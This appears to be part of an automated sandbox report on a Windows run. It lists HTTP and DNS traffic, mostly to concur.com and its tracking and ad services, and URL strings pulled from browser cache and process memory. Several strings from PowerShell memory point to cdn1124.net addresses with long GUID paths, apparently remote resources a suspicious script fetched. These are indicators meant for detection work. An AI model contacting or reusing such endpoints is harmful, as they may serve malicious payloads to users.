Source: global traffic	HTTP traffic detected: GET /core/assets/js/1.50f0b6c5.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/0.0b2ebd4a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/28.0df1b30c.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/3.2a4c7561.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/28.0df1b30c.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/1.50f0b6c5.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dpt9cWoKkzOtLrd&MD=MZuggCGt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: chromecache_440.6.dr	String found in binary or memory: "https://www.linkedin.com/company/sapconcur", equals www.linkedin.com (Linkedin)
Source: chromecache_440.6.dr	String found in binary or memory: "https://www.youtube.com/user/ConcurTechnologies"], equals www.youtube.com (Youtube)
Source: chromecache_300.6.dr, chromecache_508.6.dr	String found in binary or memory: j.src = "//www.youtube.com/iframe_api"; equals www.youtube.com (Youtube)
Source: chromecache_453.6.dr, chromecache_513.6.dr	String found in binary or memory: j.src = "//www.youtube.com/iframe_api"; equals www.youtube.com (Youtube)
Source: chromecache_453.6.dr, chromecache_513.6.dr	String found in binary or memory: var src = 'https://www.youtube.com/embed/' + config.video_id + '?showinfo=0&rel=0&autoplay=' + config.autoplay + '&html5=1'; equals www.youtube.com (Youtube)
Source: chromecache_294.6.dr	String found in binary or memory: * @param path {String} Youtube embed link ("www.youtube.com/embed/R8W_6xWphtw") or normal path ("youtube.com/watch?v=R8W_6xWphtw") equals www.youtube.com (Youtube)
Source: chromecache_440.6.dr	String found in binary or memory: <ul class="menu"><li class="first leaf"><a href="https://www.facebook.com/SAPConcur/" class="facebook">facebook</a></li> equals www.facebook.com (Facebook)
Source: chromecache_440.6.dr	String found in binary or memory: "sameAs" : [ "https://www.facebook.com/SAPConcur/", equals www.facebook.com (Facebook)
Source: chromecache_440.6.dr	String found in binary or memory: <li class="last leaf"><a href="https://www.youtube.com/c/SAPConcur" class="youtube">youtube</a></li> equals www.youtube.com (Youtube)
Source: chromecache_440.6.dr	String found in binary or memory: <li class="leaf"><a href="https://www.linkedin.com/company/sapconcur/" class="linkedin">linkedin</a></li> equals www.linkedin.com (Linkedin)
Source: chromecache_412.6.dr, chromecache_530.6.dr	String found in binary or memory: return b}IC.F="internal.enableAutoEventOnTimer";var gc=ja(["data-gtm-yt-inspected-"]),KC=["www.youtube.com","www.youtube-nocookie.com"],LC,MC=!1; equals www.youtube.com (Youtube)
Source: chromecache_502.6.dr	String found in binary or memory: return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(a){var b=new URL(a);b=b.hostname.endsWith(".facebook.com")&&b.pathname=="/signals/iwl.js";if(!b)throw new Error("Disallowed script URL");return a}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_502.6.dr	String found in binary or memory: return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_502.6.dr	String found in binary or memory: return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";var a={ENDPOINT:"https://www.facebook.com/tr/",INSTAGRAM_TRIGGER_ATTRIBUTION:"https://www.instagram.com/tr/",AEM_ENDPOINT:"https://www.facebook.com/.well-known/aggregated-event-measurement/",GPS_ENDPOINT:"https://www.facebook.com/privacy_sandbox/pixel/register/trigger/",TOPICS_API_ENDPOINT:"https://www.facebook.com/privacy_sandbox/topics/registration/"};j.exports=a})();return j.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.concur.com
Source: global traffic	DNS traffic detected: DNS query: cdn.schemaapp.com
Source: global traffic	DNS traffic detected: DNS query: cdn1124.net
Source: global traffic	DNS traffic detected: DNS query: assets.concur.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: api.company-target.com
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: s.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: concurtechnologies.tt.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: concur.demdex.net
Source: global traffic	DNS traffic detected: DNS query: concurtechnologies.sc.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: c.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: aa.agkn.com
Source: global traffic	DNS traffic detected: DNS query: idsync.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: cm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: tags.tiqcdn.com
Source: global traffic	DNS traffic detected: DNS query: dp2.33across.com
Source: global traffic	DNS traffic detected: DNS query: consent.trustarc.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: www.concur.ca
Source: global traffic	DNS traffic detected: DNS query: ml314.com
Source: global traffic	DNS traffic detected: DNS query: ps.eyeota.net
Source: global traffic	DNS traffic detected: DNS query: fei.pro-market.net
Source: global traffic	DNS traffic detected: DNS query: aorta.clickagy.com
Source: global traffic	DNS traffic detected: DNS query: scripts.demandbase.com
Source: global traffic	DNS traffic detected: DNS query: sync.crwdcntrl.net
Source: global traffic	DNS traffic detected: DNS query: 9504840.fls.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: munchkin.marketo.net
Source: global traffic	DNS traffic detected: DNS query: s.company-target.com
Source: global traffic	DNS traffic detected: DNS query: pubads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: script.crazyegg.com
Source: global traffic	DNS traffic detected: DNS query: sync-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: partners.tremorhub.com
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: adservice.google.com
Source: global traffic	DNS traffic detected: DNS query: tag-logger.demandbase.com
Source: global traffic	DNS traffic detected: DNS query: ad.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: js.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: cdn.pdst.fm
Source: global traffic	DNS traffic detected: DNS query: js.driftt.com
Source: global traffic	DNS traffic detected: DNS query: snap.licdn.com
Source: global traffic	DNS traffic detected: DNS query: pixels.spotify.com
Source: global traffic	DNS traffic detected: DNS query: pixel.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: id.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: px.ads.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: static.ads-twitter.com
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: us-u.openx.net
Source: global traffic	DNS traffic detected: DNS query: tracking.crazyegg.com
Source: global traffic	DNS traffic detected: DNS query: pagestates-tracking.crazyegg.com
Source: global traffic	DNS traffic detected: DNS query: assets-tracking.crazyegg.com
Source: global traffic	DNS traffic detected: DNS query: www.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: image2.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: sync.search.spotxchange.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: t.co
Source: global traffic	DNS traffic detected: DNS query: analytics.twitter.com
Source: global traffic	DNS traffic detected: DNS query: www.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: 013-gax-394.mktoresp.com
Source: global traffic	DNS traffic detected: DNS query: t.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: baxhwilimyrrqzx6lczq-f-71a5b1f66-clientnsv4-s.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: 684dd311.akstat.io
Source: global traffic	DNS traffic detected: DNS query: zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com
Source: global traffic	DNS traffic detected: DNS query: zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com
Source: global traffic	DNS traffic detected: DNS query: insight.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: c.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: siteintercept.qualtrics.com
Source: global traffic	DNS traffic detected: DNS query: customer.api.drift.com
Source: global traffic	DNS traffic detected: DNS query: conversation.api.drift.com
Source: global traffic	DNS traffic detected: DNS query: metrics.api.drift.com
Source: global traffic	DNS traffic detected: DNS query: targeting.api.drift.com

Source: unknown

HTTP traffic detected: POST /rest/v1/delivery?client=concurtechnologies&sessionId=12c0fce70c34429588437c80568812a2&version=2.5.0 HTTP/1.1Host: concurtechnologies.tt.omtrdc.netConnection: keep-aliveContent-Length: 1728sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plainAccept: */*Origin: https://www.concur.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Founddate: Thu, 03 Oct 2024 08:41:46 GMTserver: envoyContent-Length: 0strict-transport-security: max-age=31536000x-content-type-options: nosniffVia: HTTP/2 edgeproxy, 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close

Source: chromecache_440.6.dr	String found in binary or memory: http://assets.concur.com/trends/ConcurExpense.jpeg
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9521
Source: chromecache_238.6.dr	String found in binary or memory: http://cipa.jp/exif/1.0/
Source: chromecache_516.6.dr, chromecache_318.6.dr	String found in binary or memory: http://consent.trustarc.com/noticemsg?
Source: svchost.exe, 00000005.00000002.2960011119.0000023910000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000005.00000003.1804885305.0000023910218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000005.00000003.2427712679.000002390FFE2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2959301466.000002390B302000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2960979360.0000023910340000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2958773433.000002390AAA1000.00000004.00000020.00020000.00000000.sdmp, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjhkYWYwZDctOTExOS00
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000005.00000003.1804885305.0000023910218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000005.00000003.1804885305.0000023910218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000005.00000003.1804885305.000002391024D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000005.00000002.2960381615.00000239100AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 00000005.00000002.2960073888.000002391002C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjhkYWYwZDctOTExO
Source: edb.log.5.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: chromecache_276.6.dr, chromecache_409.6.dr	String found in binary or memory: http://hammerjs.github.io/
Source: chromecache_478.6.dr, chromecache_426.6.dr	String found in binary or memory: http://javascript.nwbox.com/IEContentLoaded/
Source: powershell.exe, 00000000.00000002.1947234615.0000019D900B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1947234615.0000019D901E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1928670954.0000021856586000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1928670954.00000218566C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: http://plugins.jquery.com/project/once
Source: chromecache_238.6.dr	String found in binary or memory: http://prismstandard.org/namespaces/prismusagerights/2.1/
Source: chromecache_440.6.dr	String found in binary or memory: http://schema.org
Source: powershell.exe, 00000000.00000002.1822553431.0000019D80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1821237606.0000021846511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: http://stackoverflow.com/questions/699941/handle-ajax-error-when-a-user-clicks-refresh.
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: chromecache_214.6.dr, chromecache_300.6.dr, chromecache_428.6.dr, chromecache_508.6.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl.html
Source: chromecache_417.6.dr	String found in binary or memory: http://www.marksimonson.comhttp://www.ms-studio.com/FontSales/msslicenseagreement.html
Source: chromecache_417.6.dr	String found in binary or memory: http://www.marksimonson.comhttp://www.ms-studio.com/FontSales/msslicenseagreement.htmlCopyright
Source: chromecache_417.6.dr	String found in binary or memory: http://www.marksimonson.comhttp://www.ms-studio.com/FontSales/msslicenseagreement.htmlProxima
Source: powershell.exe, 00000000.00000002.1977779211.0000019DF7C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coBz
Source: chromecache_214.6.dr, chromecache_300.6.dr, chromecache_428.6.dr, chromecache_508.6.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_351.6.dr, chromecache_250.6.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: chromecache_530.6.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: powershell.exe, 00000000.00000002.1822553431.0000019D80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1821237606.0000021846511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: chromecache_516.6.dr, chromecache_318.6.dr	String found in binary or memory: https://api-js-log.trustarc.com/error
Source: chromecache_440.6.dr	String found in binary or memory: https://assets.concur.com/ab/dsn-784/images/fa--arrow.svg
Source: chromecache_440.6.dr	String found in binary or memory: https://assets.concur.com/ab/personalized-hp/images/cards/image--concur-expense-demo.jpg
Source: chromecache_440.6.dr	String found in binary or memory: https://assets.concur.com/ab/personalized-hp/images/cards/image--concur-invoice-demo.jpg
Source: chromecache_300.6.dr, chromecache_508.6.dr	String found in binary or memory: https://assets.concur.com/concur-mobile-cta/arrow-to-bottom.png
Source: chromecache_440.6.dr	String found in binary or memory: https://assets.concur.com/guided-demo/mobile/expense/vid/intro_taxi_sm.mp4
Source: chromecache_440.6.dr	String found in binary or memory: https://assets.concur.com/guided-demo/mobile/invoice_06-2019/vid/Concur_Typing-sm.mp4
Source: chromecache_453.6.dr, chromecache_513.6.dr	String found in binary or memory: https://assets.concur.com/player_2011_010511.swf
Source: chromecache_412.6.dr, chromecache_530.6.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_480.6.dr, chromecache_377.6.dr	String found in binary or memory: https://cdn.pdst.fm/ping.min.js
Source: chromecache_440.6.dr	String found in binary or memory: https://cdn.schemaapp.com/javascript/highlight.js
Source: powershell.exe, 00000002.00000002.1821237606.0000021848234000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1821237606.000002184824B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1821237606.0000021848373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net/223dc805-5605-4a0b-b828-cdad1b84126e-79d39c2c-0f10-48d1-9edf-c18a784efba0
Source: powershell.exe, 00000002.00000002.1821237606.0000021848373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net/223dc805-5605-4a0b-b828-cdad1b84126e-79d39c2c-0f10-48d1-9edf-c18a784efba0?BpOYZx
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net/223dc805-5605-4a0b-b828-cdad1b84126e-79d39c2c-0f10-48d1-9edf-c18a784efba0age
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net/223dc805-5605-4a0b-b828-cdad1b84126e-79d39c2c-0f10-48d1-9edf-c18a784efba0e#ro
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net/73689d8a-25b4-41cf-b693-05591ed804a7-7433f7b1-9997-477b-aadc-5a6e8d233c61
Source: powershell.exe, 00000002.00000002.1821237606.0000021848234000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1821237606.00000218480D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net/73689d8a-25b4-41cf-b693-05591ed804a7-7433f7b1-9997-477b-aadc-5a6e8d233c61?DheBIG
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net/974afa0a-d334-48ec-a0d4-4cc14efa730c-1d3d044a-e654-41e3-ad32-38a2934393e4
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1124.net/bb9c1a14-4e3d-40ab-bcc8-0b84e78255b0-4bed9ff2-0f4e-48fb-92ed-1065fcd85e01
Source: chromecache_237.6.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=NzRhZmI4NDg
Source: chromecache_440.6.dr	String found in binary or memory: https://cn.concur.com
Source: chromecache_440.6.dr	String found in binary or memory: https://community.concur.com
Source: chromecache_385.6.dr, chromecache_502.6.dr	String found in binary or memory: https://connect.facebook.net/
Source: chromecache_233.6.dr, chromecache_383.6.dr	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: chromecache_385.6.dr, chromecache_502.6.dr	String found in binary or memory: https://connect.facebook.net/log/fbevents_telemetry/
Source: chromecache_516.6.dr, chromecache_318.6.dr	String found in binary or memory: https://consent-pref.trustarc.com?type=concur_v2
Source: chromecache_318.6.dr	String found in binary or memory: https://consent.trustarc.com/
Source: chromecache_516.6.dr, chromecache_318.6.dr	String found in binary or memory: https://consent.trustarc.com/bannermsg?
Source: chromecache_516.6.dr, chromecache_318.6.dr	String found in binary or memory: https://consent.trustarc.com/get?name=ProximaNova-Reg.otf)format(
Source: chromecache_516.6.dr, chromecache_318.6.dr	String found in binary or memory: https://consent.trustarc.com/get?name=Proxima_Nova_Semibold.otf)
Source: chromecache_516.6.dr, chromecache_318.6.dr	String found in binary or memory: https://consent.trustarc.com/log
Source: powershell.exe, 00000002.00000002.1928670954.00000218566C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1928670954.00000218566C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1928670954.00000218566C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: chromecache_534.6.dr, chromecache_413.6.dr	String found in binary or memory: https://conversation.api.drift.com
Source: chromecache_534.6.dr, chromecache_413.6.dr	String found in binary or memory: https://customer.api.drift.com
Source: chromecache_428.6.dr	String found in binary or memory: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11022
Source: chromecache_428.6.dr	String found in binary or memory: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11023
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/HTML/Element
Source: chromecache_525.6.dr, chromecache_418.6.dr, chromecache_258.6.dr, chromecache_260.6.dr	String found in binary or memory: https://developers.marketo.com/MunchkinLicense.pdf
Source: chromecache_392.6.dr	String found in binary or memory: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=18&expiry=1743669702&external_user_id=73baa8d
Source: chromecache_453.6.dr, chromecache_513.6.dr	String found in binary or memory: https://embed.acast.com
Source: svchost.exe, 00000005.00000003.1804885305.00000239102C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000005.00000003.1804885305.00000239102C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: chromecache_426.6.dr	String found in binary or memory: https://github.com/InteractiveAdvertisingBureau/GDPR-Transparency-and-Consent-Framework/blob/master/
Source: chromecache_478.6.dr, chromecache_426.6.dr	String found in binary or memory: https://github.com/InteractiveAdvertisingBureau/Global-Privacy-Platform/blob/main/Core/CMP%20API%20S
Source: powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/angular/angular.js/blob/v1.4.4/src/ng/urlUtils.js
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/cure53/DOMPurify/blob/2.0.11/dist/purify.js#L128
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery-migrate/blob/3.3.0/src/jquery/manipulation.js#L5
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery-ui/blob/1.11.4/ui/tabs.js#L53
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery-ui/blob/1.11.4/ui/tabs.js#L58
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/1.5/jquery.js#L4957
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/1.5/jquery.js#L4958
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/1.5/jquery.js#L4960
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/1.5/jquery.js#L5147
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/1.5/jquery.js#L5493
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/1.5/jquery.js#L5518
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/1.5/jquery.js#L5521
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/1.9.0/jquery.js#L6419
